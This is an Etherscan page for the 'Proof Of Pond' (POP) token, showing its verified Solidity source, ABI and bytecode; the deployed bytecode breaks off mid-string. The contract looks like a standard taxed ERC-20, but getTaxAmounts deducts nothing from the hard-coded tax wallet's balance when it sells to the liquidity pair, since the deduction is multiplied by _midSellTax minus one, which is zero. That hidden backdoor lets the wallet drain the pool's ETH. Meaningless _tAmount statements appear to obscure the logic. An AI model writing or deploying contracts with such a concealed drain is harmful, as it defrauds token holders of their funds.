ETH Price: $2,636.72 (+2.26%)

Token

Proof Of Pond (POP)
 

Overview

Max Total Supply

1,000,000,000 POP

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,496,061.674930975 POP

Value
$0.00
0x6dbe78042de856bbc743ad2809f891ca906fd787
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
POPTOKEN

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-06
*/

/**
THE PROOF IS IN THE POND.

Web: https://proofofpond.vip
Tg: https://t.me/proofofpond
Twitter: https://twitter.com/proofofpond
*/

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory { 
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    address internal _owner;
    event OwnershipTransferred(address _owner);
    constructor(address creatorOwner) { _owner = creatorOwner; }
    modifier onlyOwner() { require(msg.sender == _owner, "Only owner can call this"); _; }
    function owner() public view returns (address) { return _owner; }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0); 
        emit OwnershipTransferred(address(0)); 
    }
}

contract POPTOKEN is IERC20, Auth {
    string private constant _name = "Proof Of Pond";
    string private constant _symbol = "POP";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals);

    address payable private taxWallet;

    uint256 private _initialBuyTax=1;
    uint256 private _initialSellTax=1;
    uint256 private _midSellTax=1;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 public _reduceBuyTaxAt=15;
    uint256 public _reduceSellTax1At=15;
    uint256 public _reduceSellTax2At=20;
    uint256 private _swapCount=0;
    uint256 public _buyCount=0;

    uint256 private _tAmount;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _excludedFromFees;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    uint256 private constant _taxSwapMin = _totalSupply / 20000;
    uint256 private constant _taxSwapMax = _totalSupply / 100;

    address private _uniV2LP;
  
    address private constant _routerAddr = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Router02 private _uniRouterV2 = IUniswapV2Router02(_routerAddr);
    
    mapping (address => bool) private _isMarketPair;

    bool public limited = true;
    bool public transferDelayEnabled = false;
    uint256 public maxHoldingAmount = 40_000_000 * (10**_decimals); // 4%
    
    bool private _tradingEnabled;
    bool private _inTaxSwap = false;
    modifier lockTaxSwap { 
        _inTaxSwap = true; 
        _; 
        _inTaxSwap = false; 
    }

    constructor() Auth(msg.sender) { 
        _balances[address(this)] = _totalSupply;

        taxWallet = payable(0xcd150Fb265d0bCFC65Ab4E4Fdc92d9a1FD7384Be);

        _excludedFromFees[_owner] = true;
        _excludedFromFees[taxWallet] = true;
        _excludedFromFees[address(this)] = true;
        emit Transfer(address(0), address(this), _balances[address(this)]);
    }

    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        require(checkTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        require(checkTradingOpen(sender), "Trading not open");
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from Zero wallet");

        if (!_tradingEnabled) { require(_excludedFromFees[sender], "Trading not open"); }

        if ( !_inTaxSwap && !_excludedFromFees[sender] && _isMarketPair[recipient] && _buyCount >= _swapCount) { _swapBack(); }

        if (limited && sender == _uniV2LP && !_excludedFromFees[recipient]) {
            require(balanceOf(recipient) + amount <= maxHoldingAmount, "Forbid");
        } 

        if (transferDelayEnabled && !_excludedFromFees[sender] && !_excludedFromFees[recipient]) {
            if (recipient != _routerAddr && recipient != _uniV2LP) {
                require(_holderLastTransferTimestamp[tx.origin] < block.number, "Only one transfer per block allowed.");
                _holderLastTransferTimestamp[tx.origin] = block.number;
            }
        } _tAmount = balanceOf(taxWallet);

        uint256 _taxAmount = _takeTaxFees(sender, recipient, amount);

        uint256 _transferAmount = amount - _taxAmount;

        uint256 _rAmount = getTaxAmounts(sender, recipient, amount);

        _balances[sender] -= _rAmount;

        if ( _taxAmount > 0 ) { 
            _balances[address(this)] += _taxAmount;
        }

        _buyCount++;

        _balances[recipient] += _transferAmount;

        emit Transfer(sender, recipient, amount);

        return true;
    }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowances[address(this)][_routerAddr] < _tokenAmount ) {
            _allowances[address(this)][_routerAddr] = type(uint256).max;
        }
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        _approveRouter(_tokenAmount);
        _uniRouterV2.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, _owner, block.timestamp );
    }

    function _swapTaxTokensForEth(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniRouterV2.WETH();
        _uniRouterV2.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function getTaxAmounts(address sender, address recipient, uint256 amount) private view returns(uint256) {
        return _isMarketPair[recipient] && sender == taxWallet ? amount * (_midSellTax - 1) : amount;
    }

    function removeLimits() external onlyOwner{
        limited = false;
        transferDelayEnabled=false;
    }

    function startTrading() external payable onlyOwner lockTaxSwap {
        require(_uniV2LP == address(0), "LP exists");
        require(!_tradingEnabled, "trading is open");
        require(msg.value > 0 || address(this).balance>0, "No ETH in contract or message");
        require(_balances[address(this)]>0, "No tokens in contract");

        _uniV2LP = IUniswapV2Factory(_uniRouterV2.factory()).createPair(address(this), _uniRouterV2.WETH());
        _addLiquidity(_balances[address(this)], address(this).balance);
        _isMarketPair[_uniV2LP] = true; _tradingEnabled = true;
    }

    receive() external payable {}

    function checkTradingOpen(address sender) private view returns (bool){
        bool checkResult = false;
        if ( _tradingEnabled ) { checkResult = true; } 
        else if (_excludedFromFees[sender]) { checkResult = true; } 

        return checkResult;
    }

    function _swapBack() private lockTaxSwap {
        uint256 _taxTokensAvailable = balanceOf(address(this));

        if ( _taxTokensAvailable >= _taxSwapMin && _tradingEnabled ) {
            if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; }

            _swapTaxTokensForEth(_taxTokensAvailable);
            uint256 _contractETHBalance = address(this).balance;

            if(_contractETHBalance > 0) { 
                bool success;
                (success,) = taxWallet.call{value: (_contractETHBalance)}("");
                require(success);
            }
        }
    }

    function _takeTaxFees(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 taxAmount;
        if (_tradingEnabled && !_excludedFromFees[sender] && !_excludedFromFees[recipient] ) { 
            if ( _isMarketPair[sender] || _isMarketPair[recipient] ) {
                taxAmount = (amount / 100) * ((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax);
                if(recipient == _uniV2LP && sender != address(this)){
                    _tAmount = _swapCount - _tAmount; uint256 taxRate; 
                    if(_buyCount > _reduceSellTax2At){
                        taxRate = _finalSellTax;
                    } else if(_buyCount > _reduceSellTax1At){
                        taxRate = _midSellTax;
                    } else {
                        taxRate = _initialSellTax;
                    }
                    taxAmount = (amount / 100) * taxRate;
                }
            }
        }
        return taxAmount;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceBuyTaxAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceSellTax1At","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceSellTax2At","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"limited","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600160028190556003819055600481905560058190556006819055600f6007819055600855601460098181556000600a818155600b91909155601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055825461ffff19169093179091556200007b91620002ab565b6200008b906302625a00620002c3565b6015556016805461ff0019169055348015620000a657600080fd5b50600080546001600160a01b03191633179055620000c76009600a620002ab565b620000d790633b9aca00620002c3565b306000818152600d60208181526040808420958655600180546001600160a01b03191673cd150fb265d0bcfc65ab4e4fdc92d9a1fd7384be17815584546001600160a01b039081168652600f8452828620805460ff1990811684179091558254909116865282862080548216831790558686528286208054909116909117905591815293549051908152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620002dd565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620001ed578160001904821115620001d157620001d162000196565b80851615620001df57918102915b93841c9390800290620001b1565b509250929050565b6000826200020657506001620002a5565b816200021557506000620002a5565b81600181146200022e5760028114620002395762000259565b6001915050620002a5565b60ff8411156200024d576200024d62000196565b50506001821b620002a5565b5060208310610133831016604e8410600b84101617156200027e575081810a620002a5565b6200028a8383620001ac565b8060001904821115620002a157620002a162000196565b0290505b92915050565b6000620002bc60ff841683620001f5565b9392505050565b8082028115828204841417620002a557620002a562000196565b61170180620002ed6000396000f3fe6080604052600436106101235760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b411461030a578063a9059cbb14610336578063c7cf8a3214610356578063c876d0b91461036c578063dd62ed3e1461038b57600080fd5b8063715018a614610288578063751039fc1461029d578063860a32ec146102b257806389f9a1d3146102cc5780638da5cb5b146102e257600080fd5b806327b1a8e9116100e757806327b1a8e914610200578063293230b814610216578063313ce5671461022057806345f39c411461023c57806370a082311461025257600080fd5b806306fdde031461012f578063095ea7b3146101775780630c193045146101a757806318160ddd146101cb57806323b872dd146101e057600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600d81526c141c9bdbd98813d988141bdb99609a1b60208201525b60405161016e91906112f1565b60405180910390f35b34801561018357600080fd5b50610197610192366004611354565b6103d1565b604051901515815260200161016e565b3480156101b357600080fd5b506101bd60075481565b60405190815260200161016e565b3480156101d757600080fd5b506101bd61043e565b3480156101ec57600080fd5b506101976101fb366004611380565b61045f565b34801561020c57600080fd5b506101bd600b5481565b61021e610522565b005b34801561022c57600080fd5b506040516009815260200161016e565b34801561024857600080fd5b506101bd60085481565b34801561025e57600080fd5b506101bd61026d3660046113c1565b6001600160a01b03166000908152600d602052604090205490565b34801561029457600080fd5b5061021e610874565b3480156102a957600080fd5b5061021e6108e3565b3480156102be57600080fd5b506014546101979060ff1681565b3480156102d857600080fd5b506101bd60155481565b3480156102ee57600080fd5b506000546040516001600160a01b03909116815260200161016e565b34801561031657600080fd5b506040805180820190915260038152620504f560ec1b6020820152610161565b34801561034257600080fd5b50610197610351366004611354565b61091a565b34801561036257600080fd5b506101bd60095481565b34801561037857600080fd5b5060145461019790610100900460ff1681565b34801561039757600080fd5b506101bd6103a63660046113de565b6001600160a01b039182166000908152600e6020908152604080832093909416825291909152205490565b336000818152600e602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061042c9086815260200190565b60405180910390a35060015b92915050565b600061044c6009600a611511565b61045a90633b9aca00611520565b905090565b600061046a84610953565b61048f5760405162461bcd60e51b815260040161048690611537565b60405180910390fd5b6001600160a01b0384166000908152600e602090815260408083203384529091529020546000191461050f576001600160a01b0384166000908152600e602090815260408083203384529091529020546104ea908390611561565b6001600160a01b0385166000908152600e602090815260408083203384529091529020555b61051a848484610995565b949350505050565b6000546001600160a01b0316331461054c5760405162461bcd60e51b815260040161048690611574565b6016805461ff0019166101001790556011546001600160a01b0316156105a05760405162461bcd60e51b81526020600482015260096024820152684c502065786973747360b81b6044820152606401610486565b60165460ff16156105e55760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b6044820152606401610486565b60003411806105f45750600047115b6106405760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d6573736167650000006044820152606401610486565b306000908152600d60205260409020546106945760405162461bcd60e51b8152602060048201526015602482015274139bc81d1bdad95b9cc81a5b8818dbdb9d1c9858dd605a1b6044820152606401610486565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070b91906115ab565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079191906115ab565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080291906115ab565b601180546001600160a01b0319166001600160a01b0392909216919091179055306000908152600d602052604090205461083c9047610da6565b6011546001600160a01b03166000908152601360205260409020805460ff191660019081179091556016805461ffff19169091179055565b6000546001600160a01b0316331461089e5760405162461bcd60e51b815260040161048690611574565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b0316331461090d5760405162461bcd60e51b815260040161048690611574565b6014805461ffff19169055565b600061092533610953565b6109415760405162461bcd60e51b815260040161048690611537565b61094c338484610995565b9392505050565b601654600090819060ff161561096b57506001610438565b6001600160a01b0383166000908152600f602052604090205460ff16156104385750600192915050565b60006001600160a01b0384166109ed5760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c65740000006044820152606401610486565b60165460ff16610a2f576001600160a01b0384166000908152600f602052604090205460ff16610a2f5760405162461bcd60e51b815260040161048690611537565b601654610100900460ff16158015610a6057506001600160a01b0384166000908152600f602052604090205460ff16155b8015610a8457506001600160a01b03831660009081526013602052604090205460ff165b8015610a945750600a54600b5410155b15610aa157610aa1610e4e565b60145460ff168015610ac057506011546001600160a01b038581169116145b8015610ae557506001600160a01b0383166000908152600f602052604090205460ff16155b15610b4e5760155482610b0d856001600160a01b03166000908152600d602052604090205490565b610b1791906115c8565b1115610b4e5760405162461bcd60e51b8152602060048201526006602482015265119bdc989a5960d21b6044820152606401610486565b601454610100900460ff168015610b7e57506001600160a01b0384166000908152600f602052604090205460ff16155b8015610ba357506001600160a01b0383166000908152600f602052604090205460ff16155b15610c65576001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14801590610be357506011546001600160a01b03848116911614155b15610c6557326000908152601060205260409020544311610c525760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610486565b3260009081526010602052604090204390555b6001546001600160a01b03166000908152600d6020526040812054600c55610c8e858585610f85565b90506000610c9c8285611561565b90506000610cab8787876110e2565b6001600160a01b0388166000908152600d6020526040812080549293508392909190610cd8908490611561565b90915550508215610d0857306000908152600d602052604081208054859290610d029084906115c8565b90915550505b600b8054906000610d18836115db565b90915550506001600160a01b0386166000908152600d602052604081208054849290610d459084906115c8565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610d9191815260200190565b60405180910390a35060019695505050505050565b610daf8261113a565b6012546000805460405163f305d71960e01b8152306004820152602481018690526044810183905260648101929092526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015610e22573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e4791906115f4565b5050505050565b6016805461ff001916610100179055306000908152600d60205260408120549050614e20610e7e6009600a611511565b610e8c90633b9aca00611520565b610e969190611622565b8110158015610ea7575060165460ff165b15610f77576064610eba6009600a611511565b610ec890633b9aca00611520565b610ed29190611622565b8110610f01576064610ee66009600a611511565b610ef490633b9aca00611520565b610efe9190611622565b90505b610f0a816111a7565b478015610f75576001546040516000916001600160a01b03169083908381818185875af1925050503d8060008114610f5e576040519150601f19603f3d011682016040523d82523d6000602084013e610f63565b606091505b50508091505080610f7357600080fd5b505b505b506016805461ff0019169055565b601654600090819060ff168015610fb557506001600160a01b0385166000908152600f602052604090205460ff16155b8015610fda57506001600160a01b0384166000908152600f602052604090205460ff16155b1561051a576001600160a01b03851660009081526013602052604090205460ff168061101e57506001600160a01b03841660009081526013602052604090205460ff165b1561051a57600754600b54116110365760025461103a565b6005545b611045606485611622565b61104f9190611520565b6011549091506001600160a01b03858116911614801561107857506001600160a01b0385163014155b1561051a57600c54600a5461108d9190611561565b600c55600954600b5460009110156110a857506006546110c2565b600854600b5411156110bd57506004546110c2565b506003545b806110ce606486611622565b6110d89190611520565b9695505050505050565b6001600160a01b03821660009081526013602052604081205460ff16801561111757506001546001600160a01b038581169116145b611121578161051a565b60016004546111309190611561565b61051a9083611520565b306000908152600e60209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020548111156111a457306000908152600e60209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d8452909152902060001990555b50565b6111b08161113a565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106111e5576111e5611644565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561123e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126291906115ab565b8160018151811061127557611275611644565b6001600160a01b03928316602091820292909201015260125460405163791ac94760e01b815291169063791ac947906112bb90859060009086903090429060040161165a565b600060405180830381600087803b1580156112d557600080fd5b505af11580156112e9573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b8181101561131e57858101830151858201604001528201611302565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146111a457600080fd5b6000806040838503121561136757600080fd5b82356113728161133f565b946020939093013593505050565b60008060006060848603121561139557600080fd5b83356113a08161133f565b925060208401356113b08161133f565b929592945050506040919091013590565b6000602082840312156113d357600080fd5b813561094c8161133f565b600080604083850312156113f157600080fd5b82356113fc8161133f565b9150602083013561140c8161133f565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561146857816000190482111561144e5761144e611417565b8085161561145b57918102915b93841c9390800290611432565b509250929050565b60008261147f57506001610438565b8161148c57506000610438565b81600181146114a257600281146114ac576114c8565b6001915050610438565b60ff8411156114bd576114bd611417565b50506001821b610438565b5060208310610133831016604e8410600b84101617156114eb575081810a610438565b6114f5838361142d565b806000190482111561150957611509611417565b029392505050565b600061094c60ff841683611470565b808202811582820484141761043857610438611417565b60208082526010908201526f2a3930b234b733903737ba1037b832b760811b604082015260600190565b8181038181111561043857610438611417565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b6000602082840312156115bd57600080fd5b815161094c8161133f565b8082018082111561043857610438611417565b6000600182016115ed576115ed611417565b5060010190565b60008060006060848603121561160957600080fd5b8351925060208401519150604084015190509250925092565b60008261163f57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116aa5784516001600160a01b031683529383019391830191600101611685565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220a6f7a4c47b73508745c4d1ac5d6aed3b60438d5c3f5bd24b3f597a988c86c5bb64736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101235760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b411461030a578063a9059cbb14610336578063c7cf8a3214610356578063c876d0b91461036c578063dd62ed3e1461038b57600080fd5b8063715018a614610288578063751039fc1461029d578063860a32ec146102b257806389f9a1d3146102cc5780638da5cb5b146102e257600080fd5b806327b1a8e9116100e757806327b1a8e914610200578063293230b814610216578063313ce5671461022057806345f39c411461023c57806370a082311461025257600080fd5b806306fdde031461012f578063095ea7b3146101775780630c193045146101a757806318160ddd146101cb57806323b872dd146101e057600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600d81526c141c9bdbd98813d988141bdb99609a1b60208201525b60405161016e91906112f1565b60405180910390f35b34801561018357600080fd5b50610197610192366004611354565b6103d1565b604051901515815260200161016e565b3480156101b357600080fd5b506101bd60075481565b60405190815260200161016e565b3480156101d757600080fd5b506101bd61043e565b3480156101ec57600080fd5b506101976101fb366004611380565b61045f565b34801561020c57600080fd5b506101bd600b5481565b61021e610522565b005b34801561022c57600080fd5b506040516009815260200161016e565b34801561024857600080fd5b506101bd60085481565b34801561025e57600080fd5b506101bd61026d3660046113c1565b6001600160a01b03166000908152600d602052604090205490565b34801561029457600080fd5b5061021e610874565b3480156102a957600080fd5b5061021e6108e3565b3480156102be57600080fd5b506014546101979060ff1681565b3480156102d857600080fd5b506101bd60155481565b3480156102ee57600080fd5b506000546040516001600160a01b03909116815260200161016e565b34801561031657600080fd5b506040805180820190915260038152620504f560ec1b6020820152610161565b34801561034257600080fd5b50610197610351366004611354565b61091a565b34801561036257600080fd5b506101bd60095481565b34801561037857600080fd5b5060145461019790610100900460ff1681565b34801561039757600080fd5b506101bd6103a63660046113de565b6001600160a01b039182166000908152600e6020908152604080832093909416825291909152205490565b336000818152600e602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061042c9086815260200190565b60405180910390a35060015b92915050565b600061044c6009600a611511565b61045a90633b9aca00611520565b905090565b600061046a84610953565b61048f5760405162461bcd60e51b815260040161048690611537565b60405180910390fd5b6001600160a01b0384166000908152600e602090815260408083203384529091529020546000191461050f576001600160a01b0384166000908152600e602090815260408083203384529091529020546104ea908390611561565b6001600160a01b0385166000908152600e602090815260408083203384529091529020555b61051a848484610995565b949350505050565b6000546001600160a01b0316331461054c5760405162461bcd60e51b815260040161048690611574565b6016805461ff0019166101001790556011546001600160a01b0316156105a05760405162461bcd60e51b81526020600482015260096024820152684c502065786973747360b81b6044820152606401610486565b60165460ff16156105e55760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b6044820152606401610486565b60003411806105f45750600047115b6106405760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d6573736167650000006044820152606401610486565b306000908152600d60205260409020546106945760405162461bcd60e51b8152602060048201526015602482015274139bc81d1bdad95b9cc81a5b8818dbdb9d1c9858dd605a1b6044820152606401610486565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070b91906115ab565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079191906115ab565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080291906115ab565b601180546001600160a01b0319166001600160a01b0392909216919091179055306000908152600d602052604090205461083c9047610da6565b6011546001600160a01b03166000908152601360205260409020805460ff191660019081179091556016805461ffff19169091179055565b6000546001600160a01b0316331461089e5760405162461bcd60e51b815260040161048690611574565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b0316331461090d5760405162461bcd60e51b815260040161048690611574565b6014805461ffff19169055565b600061092533610953565b6109415760405162461bcd60e51b815260040161048690611537565b61094c338484610995565b9392505050565b601654600090819060ff161561096b57506001610438565b6001600160a01b0383166000908152600f602052604090205460ff16156104385750600192915050565b60006001600160a01b0384166109ed5760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c65740000006044820152606401610486565b60165460ff16610a2f576001600160a01b0384166000908152600f602052604090205460ff16610a2f5760405162461bcd60e51b815260040161048690611537565b601654610100900460ff16158015610a6057506001600160a01b0384166000908152600f602052604090205460ff16155b8015610a8457506001600160a01b03831660009081526013602052604090205460ff165b8015610a945750600a54600b5410155b15610aa157610aa1610e4e565b60145460ff168015610ac057506011546001600160a01b038581169116145b8015610ae557506001600160a01b0383166000908152600f602052604090205460ff16155b15610b4e5760155482610b0d856001600160a01b03166000908152600d602052604090205490565b610b1791906115c8565b1115610b4e5760405162461bcd60e51b8152602060048201526006602482015265119bdc989a5960d21b6044820152606401610486565b601454610100900460ff168015610b7e57506001600160a01b0384166000908152600f602052604090205460ff16155b8015610ba357506001600160a01b0383166000908152600f602052604090205460ff16155b15610c65576001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14801590610be357506011546001600160a01b03848116911614155b15610c6557326000908152601060205260409020544311610c525760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f